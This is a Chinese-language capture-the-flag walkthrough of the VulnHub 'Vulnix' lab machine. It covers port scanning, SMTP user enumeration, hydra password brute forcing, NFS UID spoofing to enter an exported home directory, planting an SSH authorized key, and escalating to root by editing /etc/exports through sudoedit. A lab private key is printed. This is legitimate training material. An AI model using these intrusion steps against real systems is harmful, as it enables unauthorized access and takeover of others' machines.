下载地址
https://download.vulnhub.com/hacklab/Vulnix.7z
实战演练
使用netdiscover找到IP
使用nmap查找开放的端口
靶机开放25端口,试试枚举一下smtp账号
使用hydra爆破user账号
使用user账号登录靶机,su提权,失败。
靶机开放了2049端口(nfs)
NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。
showmount命令用于查询NFS服务器的相关信息。kali没有自带showmount,需要自己安装。apt install nfs-common
# showmount --help Usage: showmount [-adehv] [--all] [--directories] [--exports] [--no-headers] [--help] [--version] [host] -a或--all 以 host:dir 这样的格式来显示客户主机名和挂载点目录。 -d或--directories 仅显示被客户挂载的目录名。 -e或--exports 显示NFS服务器的输出清单。 -h或--help 显示帮助信息。 -v或--version 显示版本信。 --no-headers 禁止输出描述头部信息。 显示NFS客户端信息 # showmount 显示指定NFS服务器连接NFS客户端的信息 # showmount 192.168.1.1 #此ip为nfs服务器的 显示输出目录列表 # showmount -e 显示指定NFS服务器输出目录列表(也称为共享目录列表) # showmount -e 192.168.1.1 显示被挂载的共享目录 # showmount -d 显示客户端信息和共享目录 # showmount -a 显示指定NFS服务器的客户端信息和共享目录 # showmount -a 192.168.1.1
输出清单
kali:~# showmount -e 192.168.0.104 Export list for 192.168.0.104: /home/vulnix * root@kali:~#
挂载NFS,进入之后提示,权限不够
root@kali:~# mkdir /tmp/mount root@kali:~# mount -t nfs 192.168.0.104:/home/vulnix /tmp/mount/ root@kali:~# cd /tmp/mount/ bash: cd: /tmp/mount/: Permission denied
之前ssh连接上的user账号,查看passwd,vulnix账号的UID为2008
创建一个相同的UID账号,就可以登录进去
root@kali:/tmp# useradd -u 2008 vulnix root@kali:/tmp# su vulnix $ /bin/bash vulnix@kali:/tmp$ cd mount vulnix@kali:/tmp/mount$ ls -al total 24 drwxr-x--- 3 nobody 4294967294 4096 Jul 15 00:57 . drwxrwxrwt 21 root root 4096 Jul 15 01:03 .. -rw-r--r-- 1 nobody 4294967294 220 Apr 3 2012 .bash_logout -rw-r--r-- 1 nobody 4294967294 3486 Apr 3 2012 .bashrc -rw-r--r-- 1 nobody 4294967294 675 Apr 3 2012 .profile
创建SSH证书
vulnix@kali:/tmp/mount$ mkdir .ssh vulnix@kali:/tmp/mount$ cd .ssh vulnix@kali:/tmp/mount/.ssh$ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/vulnix/.ssh/id_rsa): ./id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./id_rsa. Your public key has been saved in ./id_rsa.pub. The key fingerprint is: SHA256:1BbCHz69p0pTY7LPWUi6nAxa0Jg9fx/RAANPfJL6ZQI vulnix@kali The key's randomart image is: +---[RSA 2048]----+ | .. oo+. | | .oE++o. | | .oo=.o. | | * .= o oo | | + S .o==. .| | . o Boo.. | | o * ooo | | o = B.+ . | | . *.+ . | +----[SHA256]-----+ vulnix@kali:/tmp/mount/.ssh$ ls -al total 16 drwxr-xr-x 2 nobody 4294967294 4096 Jul 15 01:07 . drwxr-x--- 3 nobody 4294967294 4096 Jul 15 01:06 .. -rw------- 1 nobody 4294967294 1823 Jul 15 01:07 id_rsa -rw-r--r-- 1 nobody 4294967294 393 Jul 15 01:07 id_rsa.pub
复制私钥
vulnix@kali:/tmp/mount/.ssh$ mv id_rsa.pub authorized_keys vulnix@kali:/tmp/mount/.ssh$ cat id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEA3HaRqr2UAtlR3vE9x1RHN8bUdldnu9CtGy9Pkw6P5f7BSeDGCXjk 1oJfdcSvzAH7g6Llbrtwi9HiNQtJz+0z8c9eIeFpBsFtzuMRcVubzlfYlYhAv41TqZPUkm PKNXmaIIoPgRRN4ID2wMc1BLk5Q7SOAHv+Ef0yVg/6EI8u2SB8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YLUFzldwM96MKC 6RHR79f+rMHAAAAIEA/2iohngAKm+6j8IgHAku83wrSQ4VdVunwwegiY2olFLAzNgNTfVY Ib40yMR8bjC2YdVfIVrUIk4ItWRQ1hihBNeQgSdni76mCY/4CvpUShab2XysAMYWQBuORj +Kw1+DpaYR1ftIG1XfqeU6jVFTEgUdK/WogZzUIcvEgM1kkskAAACBANz5NCoaUb7+PLYt uEyiRoxsAo2B4bLy5NZNy2/4dXiPZ9XwYGZrohHk/NUtQMZAQNyn1EzymoFfagZANuMQ7T ODvr9L/UqL9EWdabrVyAlMnMa61aDRqNNdjAElMNRY5JaGbBVSAXvI7qezsjr/WyK237OD aywsPDaFbvK0S18lAAAAC3Z1bG5peEBrYWxpAQIDBAUGBw== -----END OPENSSH PRIVATE KEY-----
使用私钥进行登录,如果提示安全问题,需要修改私钥的权限
查看账号权限
vulnix@vulnix:~$ sudo -l Matching 'Defaults' entries for vulnix on this host: env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User vulnix may run the following commands on this host: (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
sudoedit /etc/exports,添加这一行,nfs开放root目录
再物理重启靶机VM,让NFS读取这个配置文件
之后就可以看到root目录共享出来
挂载上去
接着就像上面一样,生成私钥,用私钥连接
登陆成功
来源:freebuf.com 2019-07-15 19:16:05 by: 陌度
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册